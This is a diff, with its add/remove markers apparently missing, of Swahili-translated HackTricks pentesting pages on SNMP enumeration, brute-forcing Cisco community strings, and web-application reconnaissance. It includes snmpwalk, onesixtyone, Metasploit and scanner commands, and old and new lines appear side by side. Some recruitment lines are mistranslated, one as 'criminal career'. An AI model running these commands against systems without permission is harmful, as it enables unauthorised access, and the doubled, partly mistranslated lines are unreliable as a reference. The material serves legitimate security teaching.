* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -41,9 +41,9 @@ Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax
**Object Identifiers (OIDs)** zina jukumu muhimu. Vitambulisho hivi vya kipekee vimeundwa ili kusimamia vitu ndani ya **Management Information Base (MIB)**.
Viwango vya juu vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
Viwango vya juu zaidi vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyosimamiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
@ -58,7 +58,7 @@ Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1
Hapa kuna ufafanuzi wa anwani hii.
* 1 hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na "1"
* 1 hii inaitwa ISO na inaweka wazi kuwa hii ni OID. Hii ndiyo sababu OIDs zote huanza na “1”
* 3 hii inaitwa ORG na inatumika kubainisha shirika lililojenga kifaa.
* 6 hii ni dod au Wizara ya Ulinzi ambayo ni shirika lililoanzisha Mtandao kwanza.
* 1 hii ni thamani ya mtandao kuashiria kuwa mawasiliano yote yatatokea kupitia Mtandao.
@ -87,8 +87,8 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
Kuna matoleo mawili muhimu ya SNMP:
* **SNMPv1**: Kuu, bado ndiyo inayotumika mara nyingi, **uthibitisho unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitisho**.
* **SNMPv3**: Inatumia aina bora ya **uthibitisho** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
* **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Matoleo 2 na 2c** yanatuma **trafiki kwa maandiko wazi** pia na yanatumia **mfuatano wa jamii kama uthibitishaji**.
* **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya kamusi inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
### Mfuatano wa Jamii
@ -144,7 +144,7 @@ Asante kwa maswali yaliyopanuliwa (download-mibs), inawezekana kuorodhesha zaidi
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Mifumo ya mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la seva/OS, na **mchakato**
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Interfaces za mtandao** (anwani za **IPv4** na **IPv6**), Majina ya watumiaji, Wakati wa kufanya kazi, Toleo la seva/OS, na **mchakato**
**unaotembea** (inaweza kuwa na nywila)....
@ -165,7 +165,7 @@ Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaj
### Vigezo vya SNMP kwa Microsoft Windows
Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
Mfululizo wa **thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
* **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo.
* **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa.
@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Tambua Mfuatano Binafsi**
Hatua muhimu inahusisha kutambua **mfuatano binafsi wa jamii** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data za SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
Hatua muhimu inahusisha kutambua **mfuatano binafsi wa jamii** unaotumiwa na mashirika, hasa kwenye router za Cisco IOS. Mfuatano huu unaruhusu kutoa **mipangilio inayoendelea** kutoka kwa router. Utambuzi mara nyingi unategemea kuchambua data ya SNMP Trap kwa neno "trap" kwa kutumia **amri ya grep**:
```bash
grep -i "trap" *.snmp
```
@ -243,7 +243,7 @@ Ikiwa kuna ACL inayoruhusu tu IP fulani kuuliza huduma ya SMNP, unaweza kupotosh
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks
**SNMP** inafanya kazi juu ya UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinatambulisha viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
**SNMP** inafanya kazi kupitia UDP na bandari 161/UDP kwa ujumbe wa jumla na 162/UDP kwa ujumbe wa mtego. Protokali hii inategemea nyuzi za jamii, zinazofanya kazi kama nywila zinazowezesha mawasiliano kati ya wakala wa SNMP na seva. Nyuzi hizi ni muhimu kwani zinabainisha viwango vya ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**. Njia maarufu ya shambulio kwa wapimaji ni **kujaribu nguvu za nyuzi za jamii**, lengo likiwa kuingia kwenye vifaa vya mtandao.
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kutokea na anwani za IP za malengo:
Chombo cha vitendo kwa ajili ya kutekeleza mashambulizi kama haya ya nguvu ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone), ambacho kinahitaji orodha ya nyuzi za jamii zinazoweza kuwa na anwani za IP za malengo:
```bash
onesixtyone -c communitystrings -i targets
```
@ -52,23 +52,23 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **hacking career** na kuweza kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
Ikiwa unavutiwa na **hacking career** na kuweza kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,31 @@
# 80,443 - Pentesting Web Methodology
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Info
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi za **vulnerabilities tofauti** zipo.
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za udhaifu** zipo.
**Bandari ya default:** 80 (HTTP), 443(HTTPS)
**Default port:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -48,17 +48,17 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
* [ ] Je, kuna **udhaifu unaojulikana** wa toleo la teknolojia hiyo?
* [ ] Unatumia **teknolojia maarufu**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
* [ ] Unatumia **teknolojia inayojulikana**? Je, kuna **hila muhimu** za kupata taarifa zaidi?
* [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
* [ ] Anzisha **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS).
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, **folda** na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
* [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skani** (ikiwa HTTPS).
* [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
* [ ] **Brute-Forcing ya Directory**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
* [ ] **Ukaguzi wa Nakala za Akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za akiba.
* [ ] **Brute-Forcing ya Directory**: Jaribu kujaribu nguvu zote za folda zilizogunduliwa kutafuta **faili** na **directories** mpya.
* [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kujaribiwa kwa nguvu._
* [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala.
* [ ] **Brute-Force parameta**: Jaribu **kupata parameta zilizofichwa**.
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana nayo.
* [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia kwa kila aina ya **udhaifu** unaohusiana nayo.
* [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
## Toleo la Seva (Lina Udhihirisho?)
@ -66,7 +66,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### Tambua
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap skani** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -83,7 +83,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
### Web tech tricks
Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maarufu zinazotumika:
Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** tofauti maarufu zinazotumika:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -117,12 +117,12 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_Kumbuka kwamba **domain** ile ile inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo awali au **zingine yoyote**, usisahau **kutafuta kwenye Mtandao** tricks mpya (na unijulishe!).
### Source Code Review
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu hiyo, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu kwa **yako mwenyewe**, kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
* Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
* Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inaweza kufikiwa?) yenye credentials (majina ya watumiaji au nywila)?
@ -164,7 +164,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na ukafanya skana.
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Kusababisha makosa**
Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data za ajabu zinatumwa kwao. Hii inaweza kufungua **vulnerabilities** au **kufichua taarifa nyeti**.
Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data za ajabu zinatumwa kwao. Hii inaweza kufungua **vulnerabilities** au **kuonyesha taarifa nyeti**.
* Fikia **kurasa za uongo** kama /whatever\_fake.php (.aspx,.html,.n.k)
* **Ongeza "\[]", "]]", na "\[\["** katika **maadili ya cookie** na **maadili ya parameter** ili kuunda makosa
@ -222,24 +222,24 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juisi".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI ya kuingiliana HTML spider. Pia inatafuta katika Archive.org
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za kuvutia".
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org
* [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajumuishwa.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotayarishwa ni la zamani na msimbo wa sasa haujajitengeneza.
* [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni skripti itakayopata URLs zenye parameta na kuziorodhesha.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameta na kuziorodhesha.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuunda JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na ninjas wa infosec.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skripti ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida ili kupata na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
* [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana za awali.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana zilizotangulia.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na parameta katika faili za JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hiki ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakuletea msimbo wa JS ulioimarishwa.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Vinjari (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni GUI ya hali ya juu ya usalama wa wavuti Crawler/Spider iliyoundwa kwa wataalamu wa usalama wa mtandao.
@ -250,12 +250,12 @@ Zindua aina ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyin
### Brute Force directories and files
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** **directories zilizopatikana** kwa kutumia **hii mbinu** na zote **directories zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** za **directories zilizopatikana** kwa kutumia **hii mbinu** na zote za directories **zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
Zana:
* **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **utaftaji wa kurudiwa**.
